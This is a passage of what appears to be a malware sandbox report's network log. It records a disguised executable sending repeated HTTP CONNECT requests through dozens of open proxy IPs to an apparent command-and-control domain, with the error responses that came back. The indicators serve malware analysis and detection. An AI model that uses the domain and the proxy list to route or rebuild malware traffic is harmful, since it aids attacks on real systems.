Mar 11, 2024 16:42:26.141933918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.142456055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.142136097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.157237053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.175318003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:11.188447952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:35.188400030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:23.188304901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.11	53218	5.161.103.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.139813900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.11	53135	74.118.80.244	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.143491983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.11	50972	111.221.3.86	5566	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.152076960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.11	53184	188.136.164.140	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.154702902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.11	53197	218.252.244.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.156469107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.11	53287	188.114.99.37	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.157680035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.311954975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.11	53192	219.243.212.118	8443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.157852888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.484745026 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.11	53194	47.242.15.120	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.164460897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.11	53193	43.133.74.172	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.164608955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.11	53307	192.169.226.96	50578	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.180063963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.641913891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.311652899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.438843966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.11	53209	13.81.217.201	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.180267096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.845086098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.736030102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.424606085 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:27 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform the
Mar 11, 2024 16:42:27.424612045 CET	299	IN	Data Raw: 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 Data Ascii: m of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.11	53195	31.134.151.40	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.180481911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.11	53328	104.16.72.45	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.180553913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.334657907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.11	53330	185.162.228.170	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.182265043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.336658001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.11	53247	38.54.6.39	9080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.183342934 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.11	53198	119.91.214.119	3389	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.190054893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.985371113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.11	53205	162.55.87.48	5566	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.190574884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.502367020 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.11	53201	192.162.232.15	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.194587946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.11	53187	103.179.139.170	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.196953058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.985538960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.173477888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376662016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.688857079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.188837051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.688810110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.469718933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:06.782249928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.11	51082	5.252.23.249	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
